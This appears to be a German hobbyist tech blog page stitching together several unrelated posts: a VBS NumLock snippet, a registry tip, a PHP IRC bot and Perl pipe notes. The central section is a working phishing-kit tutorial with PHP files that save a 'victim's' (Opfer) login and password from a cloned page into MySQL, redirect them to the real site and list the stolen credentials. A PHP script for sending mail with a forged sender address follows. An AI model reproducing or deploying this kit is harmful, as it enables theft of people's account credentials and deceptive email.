Ganz einfach!
Erstelle eine Datei mit der Endung .vbs und kopiere folgenden Inhalt hinein:

set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "{NUMLOCK}"

Sobald Ihr die Datei abgespeichert habt und ausführt wird die Taste “NUMLOCK” Simuliert.

Dieses kann man natürlich auch mit verschiedenen anderen Tasten ausprobieren.

Eine weitere möglichkeit:

Wenn NUMLOCK beim starten von Windows aktiv sein soll muss folgendes getan werden:

1. Start –> Ausführen –> regedit

2. Den Eintrag [HKEY_USERS\.DEFAULT\Control Panel\Keyboard] suchen

3. Bei dem Eintrag “InitialKeyboardIndicators” den Wert 2 vergeben, danach PC neustarten.

Info:

Der Wert 0 würde Numlock (Ziffernblock) bei der Anmeldung wieder deaktivieren.

Erstellt nun folgende Dateien mit dem darunterliegendem Inhalt:

index.html

das ist der Source der kopierten Seite.

send.php

1
2
3
4
5
6
7
8
9
10

< ?php
include ("sqlconnect.php");
$username = $_POST["username"];
$userpasswort = $_POST["passwort"];
$eintrag = "INSERT INTO base (user, pwd) VALUES ('$username', '$userpasswort')";
$eintragen = mysql_query($eintrag);
?>
<meta http-equiv="refresh" content="0; URL=http://blablub.com">
 
</meta>

Ihr ersetzt “http://blablub.com” mit der Seite des “Opfers” (nachdem die Daten abgeschickt wurden). Dort wird er Quasi nach erfolgreicher Eingabe umgeleitet.

sqlconnect.php

1
2
3
4
5
6
7
8

< ?php
$server = "localhost";
$user = "root";
$pwd = "password";
$database = "data";
mysql_connect("$server","$user","$pwd") or die ("Keine Verbindung moeglich");
mysql_select_db("$database") or die ("Die Datenbank existiert nicht");
?>

“localhost” wird mit dem MySQL-Datenbankserver ersetzt, diesen bekommt ihr von eurem Free-Webspace Anbieter.
“root” wird mit dem MySQL-Benutzernamen ersetzt. (Gibts auch von Anbieter…)
“password” wird mit dem MySQL-Password ersetzt….
“data” ist mit dem Datenbanknamen zu überschreiben… (Ebenfalls Webspaceanbieter)

make.php

1
2
3
4
5
6
7
8
9
10

< ?php
include ("sqlconnect.php");
$sql = 'CREATE TABLE `base` ('
. ' `user` VARCHAR(255) NOT NULL, '
. ' `pwd` VARCHAR(255) NOT NULL'
. ' )'
. ' ENGINE = myisam;';
$eintragen = mysql_query($sql);
echo "Tabelle erstellt! Diese Datei kann nun gelöscht werden. (make.php)";
?>

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

< ?php
include ("sqlconnect.php");
$ident = $_POST["pw"];
if (isset($ident))
{
if ($ident=="deinpw")
{
 
$abfrage = "SELECT * FROM base";
$ergebnis = mysql_query($abfrage);
while($row = mysql_fetch_object($ergebnis))
{
echo "ID: $row->user";
echo "&nbsp;&nbsp;&nbsp;";
echo "PW: $row->pwd";
echo "<br />";
}
}
else
{
echo "Passwort falsch! Probiers nochmal...";
}
}
else
{
echo "<form action=\"admin.php\" method=\"post\">";
echo "<input type=\"text\" name=\"pw\" size=\"21\" value=\"pw eingeben\" maxlength=\"50\"/>";
echo "</form>";
}
?>

anstatt “deinpw” gebt ihr ein belibiges Passwort ein.

Als nächstes ladet ihr die 5 Dateien auf eurem Webspace hoch und führt die “make.php” im Browser aus. Eure Seite könnt ihr über die index.html aufrufen. Die eingetragenen Daten des “Opfers” sind in der admin.php zu finden…

Folgende Files müssten dann auf eurem Webspace zu finden sein wenn ihr alles richtig gemacht habt.

index.html
send.php
sqlconnect.php
make.php
admin.php

< ?php
$from_name = "Anonymous";
$from_email = "anonymous@sender-domain.com";
$to_email = "target@somedomain.com";
$subject = "Mail Subject";
$message = "Your text ....";

$headers = "From: ".$from_name." <".$from_email.">\r\n”;
$headers .= “Reply-To: “.$from_email.”\r\n”;

mail($to_email, $subject, $message, $headers, “-f”.$from_email);

echo “Mail Sent.”;
?>

und im Webbrowser ausführen

Um den Bot in ein Channel joinen zu lassen muss der cmd “/msg myOwnBot !join #channel” im quakenet geschrieben werden. Dann sollte er den Definierten Channel beitreten.

Download: hier

Man kann auch seine eigenden Commands erstellen, hier ein paar Beispiele:

case ‘:!hello’:
$this->send_data( ‘PRIVMSG’, $ex[2].’ :Hello! Im your PHP-IRC-Bot’ );
break;

case ‘:!kick’:
$this->send_data( ‘KICK’, $ex[2].’ ‘.$ex[4] );
break;

case ‘:!part’:
$this->send_data(‘PART’, $ex[4]);
break;

Server: UNIX

Mit syscall geht es schonmal garnicht…

systcall “perl_pfad programm2.pl”
perl_pfad gibt den Namen meines Perl Programmes an
require datei.pl ist die lösung. Sie ist zwar nicht die beste aber es funktioniert.

Besser währe es natürlich über open, dies bietet sich an, wenn man Daten übergeben möchte. Es wird dann open als Pipe benutzt.

Also:

open(HANDLE,”|datei.pl”);
Hier kannst Du dann über
print HANDLE Irgendwat
daten an STDIN von datei.pl senden.
Bei open (HANDLE,”datei.pl|”)
kannst du die Ausgaben von dem Script einlesen.